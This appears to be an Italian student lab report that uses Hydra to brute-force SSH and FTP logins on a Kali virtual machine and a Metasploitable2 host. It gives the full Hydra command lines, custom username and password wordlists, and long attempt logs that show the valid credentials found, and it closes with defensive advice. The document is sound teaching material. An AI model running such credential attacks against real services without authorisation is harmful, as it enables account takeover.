

## Progetto S6/L5

**Introduzione:** l'obiettivo di questo esercizio è testare la sicurezza dei servizi di autenticazione SSH e FTP tramite attacchi di brute force utilizzando lo strumento Hydra. L'attività è svolta all'interno di un laboratorio virtuale dove ogni azione si svolge all'interno di Kali Linux (IP: 192.168.10.100).

**Cos'è Hydra:** Hydra è uno strumento open source utilizzato per effettuare attacchi di autenticazione brute force su una vasta gamma di protocolli e servizi. È particolarmente utile per testare la robustezza delle credenziali di accesso in contesti di penetration testing. Supporta molti protocolli, tra cui SSH, FTP, HTTP e altri.

Il primo passo di questo esercizio è quello di creare un nuovo utente sulla Kali assegnandogli delle credenziali specifiche.

```
(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Dopodiché è stato attivato e verificato lo status del servizio SSH di Kali

```
(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ sudo service ssh status
• ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
  Active: active (running) since Fri 2025-08-08 06:56:41 EDT; 7s ago
  Invocation: 01213e209a544028bb610448cf107f05
  Docs: man:sshd(8)
       man:sshd_config(5)
  Process: 2357 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 2360 (sshd)
  Tasks: 1 (limit: 2208)
  Memory: 2.3M (peak: 2.7M)
  CPU: 41ms
  CGroup: /system.slice/ssh.service
          └─2360 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Aug 08 06:56:41 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Aug 08 06:56:41 kali sshd[2360]: Server listening on 0.0.0.0 port 22.
Aug 08 06:56:41 kali sshd[2360]: Server listening on :: port 22.
Aug 08 06:56:41 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

(kali@kali)-[~]
$ ssh test_user@192.168.10.100
test_user@192.168.10.100's password:
Linux kali 6.12.33+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.33-1kali1 (2025-06-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 8 05:48:39 2025 from 192.168.10.100
```

## 1. Cracking SSH

**Wordlist personalizzate:** per l'attacco con wordlist personalizzate, si utilizzano due file locali chiamati "users.txt" e "password.txt" contenenti rispettivamente username e password da testare. La decisione di non usare delle seclists ufficiali è stata presa in quanto l'obiettivo principale era testare il funzionamento dello strumento Hydra. Utilizzare le seclists, che contengono decini o centinaia di migliaia di combinazioni, avrebbe comportato un tempo di esecuzione molto elevato e poco gestibile per un test di laboratorio. Le wordlist create manualmente includono comunque credenziali realistiche e una quantità sufficiente di combinazioni da simulare un attacco a dizionario efficace. Se avessi scelto di utilizzare le wordlist predefinite di seclists, l'installazione e l'attacco con Hydra sarebbero stati eseguiti nel seguente modo:

```
sudo apt install seclists
```

```
hydra -L /urs/share/seclists/Username/top-username-shortlist.txt  
-P /urs/share/seclists/Passwords/Common-Credentials/10k-most-common.txt  
192.168.10.100 -t 4 ssh -V
```

Questi comandi avrebbero testato circa 170mila combinazioni. Tuttavia, come anticipato, per motivi di tempo e stabilità, ho optato per wordlist ridotte e create ad hoc.



```
(kali@kali)-[~]  
$ cat users.txt  
admin  
test_user  
guest  
ftp_user  
root  
john  
maria  
alice  
bob  
charlie  
  
(kali@kali)-[~]  
$ cat password.txt  
password  
123456  
testpass  
admin123  
guest123  
letmein  
qwerty  
welcome  
abc123  
secret
```

## Attacco con Hydra

```
(kali@kali): ~  
└─$ hydra -L users.txt -P password.txt 192.168.10.100 -t 2 ssh -V  
  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-08 07:20:57  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 2 tasks per 1 server, overall 2 tasks, 100 login tries (l:10/p:10), ~50 tries per task  
[DATA] attacking ssh://192.168.10.100:22/  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "password" - 1 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "123456" - 2 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "testpass" - 3 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "admin123" - 4 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "guest123" - 5 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "letmein" - 6 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "qwerty" - 7 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "welcome" - 8 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "abc123" - 9 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "secret" - 10 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "test_user" - pass "password" - 11 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "test_user" - pass "123456" - 12 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "test_user" - pass "testpass" - 13 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "test_user" - pass "admin123" - 14 of 100 [child 1] (0/0)  
[22][ssh] host: 192.168.10.100 login: test_user password: testpass  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "password" - 21 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "123456" - 22 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "testpass" - 23 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "admin123" - 24 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "guest123" - 25 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "letmein" - 26 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "qwerty" - 27 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "welcome" - 28 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "abc123" - 29 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "secret" - 30 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "password" - 31 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "123456" - 32 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "testpass" - 33 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "admin123" - 34 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "guest123" - 35 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "letmein" - 36 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "qwerty" - 37 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "welcome" - 38 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "abc123" - 39 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "secret" - 40 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "password" - 41 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "123456" - 42 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "testpass" - 43 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "admin123" - 44 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "guest123" - 45 of 100 [child 1] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "letmein" - 46 of 100 [child 0] (0/0)  
[ATTEMPT] target 192.168.10.100 - login "root" - pass "qwerty" - 47 of 100 [child 1] (0/0)
```

In questo attacco Hydra è stato configurato per eseguire un attacco a dizionario sul servizio SSH in esecuzione all’indirizzo IP 192.168.10.100 (Kali), utilizzando le due wordlist sopracitate. Nel log prodotto da Hydra, si nota che la combinazione “test\_user” “testpass” è risultata corretta e che Hydra è riuscito ad individuare una coppia di credenziali valide. Questa evidenza la vulnerabilità del servizio SSH nel caso in cui vengano utilizzate credenziali deboli o prevedibili.

## 2. Cracking FTP

La prima cosa per l’attacco FTP è stato scaricare e attivare il servizio stesso sulla Kali nel modo seguente.

```
(kali@kali): ~  
└─$ sudo apt install vsftpd  
[sudo] password for kali:  
The following packages were automatically installed and are no longer required:  
  python3-packaging-whl python3-pyinstaller-hooks-contrib python3-wheel-whl  
Use 'sudo apt autoremove' to remove them.  
  
Installing:  
  vsftpd  
  
Summary:  
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 3  
  Download size: 144 kB  
  Space needed: 352 kB / 57.5 GB available  
  
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.2 [144 kB]  
Fetched 144 kB in 1s (136 kB/s)  
Preconfiguring packages ...  
Selecting previously unselected package vsftpd.  
(Reading database ... 427944 files and directories currently installed.)  
Preparing to unpack .../vsftpd_3.0.5-0.2_amd64.deb ...  
Unpacking vsftpd (3.0.5-0.2) ...  
Setting up vsftpd (3.0.5-0.2) ...  
/usr/lib/tmpfiles.d/vsftpd.conf: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.  
update-rc.d: We have no instructions for the vsftpd init script.  
update-rc.d: It looks like a network service, we disable it.  
Processing triggers for man-db (2.13.1-1) ...  
Processing triggers for kali-menu (2025.3.0) ...  
  
(kali@kali): ~  
└─$ sudo service vsftpd start  
  
(kali@kali): ~  
└─$ sudo service vsftpd status  
● vsftpd.service - vsftpd FTP server  
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)  
   Active: active (running) since Fri 2025-08-08 07:02:31 EDT; 5s ago  
  Invocation: 4fbc65b73d3415089b4130892d2d3a6  
    Process: 6069 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)  
   Main PID: 6070 (vsftpd)  
     Tasks: 1 (limit: 2208)  
    Memory: 900K (peak: 1.8M)  
       CPU: 25ms  
    CGroup: /system.slice/vsftpd.service  
            └─6070 /usr/sbin/vsftpd /etc/vsftpd.conf  
  
Aug 08 07:02:31 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...  
Aug 08 07:02:31 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

Dopodiché, come per l'attacco SSH ho creato un nuovo utente per eseguire anche l'attacco FTP.

```
(kali㉿kali)-[~]  
$ sudo adduser ftp_user  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for ftp_user  
Enter the new value, or press ENTER for the default  
    Full Name []:  
    Room Number []:  
    Work Phone []:  
    Home Phone []:  
    Other []:  
Is the information correct? [Y/n] y
```

**Wordlist personalizzate:** per gli stessi motivi enunciati prima, anche per l'attacco FTP sono state usate due wordlist personalizzate.

```
(kali㉿kali)-[~]  
$ cat ftp_user.txt  
admin  
guest  
ftp_user  
john  
anonymous  
maria  
bob  
alice  
user1  
charlie  
  
(kali㉿kali)-[~]  
$ cat ftp_pass.txt  
123456  
admin123  
ftp123  
password  
qwerty  
abc123  
letmein  
guest123  
welcome  
secret
```



## Attacco con Hydra

```
(kali@kali) ~
$ hydra -L ftp_user.txt -P ftp_pass.txt 192.168.10.100 -t 2 ftp -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-08 09:11:25
[DATA] max 2 tasks per 1 server, overall 2 tasks, 100 login tries (1:10/p:10), ~50 tries per task
[DATA] attacking ftp://192.168.10.100:21/
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "123456" - 1 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "admin123" - 2 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "ftp123" - 3 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "password" - 4 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "qwerty" - 5 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "abc123" - 6 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "letmein" - 7 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "guest123" - 8 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "welcome" - 9 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "admin" - pass "secret" - 10 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "123456" - 11 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "admin123" - 12 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "ftp123" - 13 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "password" - 14 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "qwerty" - 15 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "abc123" - 16 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "letmein" - 17 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "guest123" - 18 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "welcome" - 19 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "guest" - pass "secret" - 20 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "123456" - 21 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "admin123" - 22 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "ftp_user" - pass "ftp123" - 23 of 100 [child 0] (0/0)
[21][Ftp] host: 192.168.10.100 login: ftp_user password: ftp123
[ATTEMPT] target 192.168.10.100 - login "john" - pass "123456" - 31 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "admin123" - 32 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "ftp123" - 33 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "password" - 34 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "qwerty" - 35 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "abc123" - 36 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "letmein" - 37 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "guest123" - 38 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "welcome" - 39 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "john" - pass "secret" - 40 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "123456" - 41 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "admin123" - 42 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "ftp123" - 43 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "password" - 44 of 100 [child 0] (0/0)
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 56 to do in 00:02h, 2 active
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "qwerty" - 45 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "abc123" - 46 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "letmein" - 47 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "guest123" - 48 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.100 - login "anonymous" - pass "welcome" - 49 of 100 [child 1] (0/0)
```

Esattamente come per l'attacco SSH è stata trovata anche in questo caso la coppia di credenziali corretta, ovvero "ftp\_user" "ftp123". Anche in questo caso è evidente la vulnerabilità di FTP se vengolo scelte password semplici o ricorrenti.

### 3. Cracking FTP su Metasploitable2

Per testare nuovamente Hydra ho deciso di provare a crackare le credenziali di accesso di Metasploitable2 (IP: 192.168.10.200) (msfadmin/msfadmin).

Come prima cosa ho verificato che Kali e Metasploitable potessero comunicare tramite un ping.

```
(kali@kali) ~
$ ping 192.168.10.200
PING 192.168.10.200 (192.168.10.200) 56(84) bytes of data.
 64 bytes from 192.168.10.200: icmp_seq=1 ttl=64 time=3.48 ms
 64 bytes from 192.168.10.200: icmp_seq=2 ttl=64 time=1.70 ms
 64 bytes from 192.168.10.200: icmp_seq=3 ttl=64 time=1.35 ms
 64 bytes from 192.168.10.200: icmp_seq=4 ttl=64 time=1.33 ms
^C
— 192.168.10.200 ping statistics —
 4 packets transmitted, 4 received, 0% packet loss, time 3002ms
 rtt min/avg/max/mdev = 1.333/1.965/3.479/0.886 ms
```

Dopodiché ho modificato le wordlist personalizzate che sono state precedentemente aggiungendo le credenziali di Metasploitable2.

```
(kali㉿kali)-[~]  
$ cat users.txt  
admin  
test_user  
msfadmin  
ftp_user  
root  
john  
maria  
alice  
bob  
charlie  
  
(kali㉿kali)-[~]  
$ cat password.txt  
password  
msfadmin  
testpass  
admin123  
guest123  
letmein  
qwerty  
welcome  
abc123  
secret
```

Come ultimo passaggio è stata eseguita una scansione Nmap per verificare se la porta FTP fosse aperta o meno.

```
(kali㉿kali)-[~]  
$ nmap -p 21 192.168.10.200  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 10:04 EDT  
Nmap scan report for 192.168.10.200  
Host is up (0.0015s latency).  
  
PORT      STATE SERVICE  
21/tcp    open  ftp  
MAC Address: 08:00:27:34:20:AC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
```

Infine, è stato fatto l'attacco vero e proprio con Hydra.

```
[kali@kali: ~]$ hydra -L users.txt -P password.txt 192.168.10.200 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-08 10:04:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100 login tries (l:10/p:10), ~25 tries per task
[DATA] attacking ftp://192.168.10.200:21/
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "password" - 1 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "msfadmin" - 2 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "testpass" - 3 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "admin123" - 4 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "guest123" - 5 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "letmein" - 6 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "qwerty" - 7 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "welcome" - 8 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "abc123" - 9 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "admin" - pass "secret" - 10 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "password" - 11 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "msfadmin" - 12 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "testpass" - 13 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "admin123" - 14 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "guest123" - 15 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "letmein" - 16 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "qwerty" - 17 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "welcome" - 18 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "abc123" - 19 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "test_user" - pass "secret" - 20 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.200 - login "msfadmin" - pass "password" - 21 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "msfadmin" - pass "msfadmin" - 22 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "msfadmin" - pass "testpass" - 23 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.200 - login "msfadmin" - pass "admin123" - 24 of 100 [child 3] (0/0)
[21][ftp] host: 192.168.10.200 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.10.200 - login "ftp_user" - pass "password" - 31 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "ftp_user" - pass "msfadmin" - 32 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.200 - login "ftp_user" - pass "testpass" - 33 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.200 - login "ftp_user" - pass "admin123" - 34 of 100 [child 2] (0/0)
```

È evidente la riuscita anche di questo attacco.

**Conclusioni e osservazioni:** l'utilizzo di Hydra si è mostrato efficace per evidenziare l'importanza di usare credenziali sicure. L'attività ha permesso di comprendere le dinamiche di un attacco brute force e la necessità di misure difensive come l'autenticazione a più fattori, limiti ai tentativi di login e monitoraggio dei log.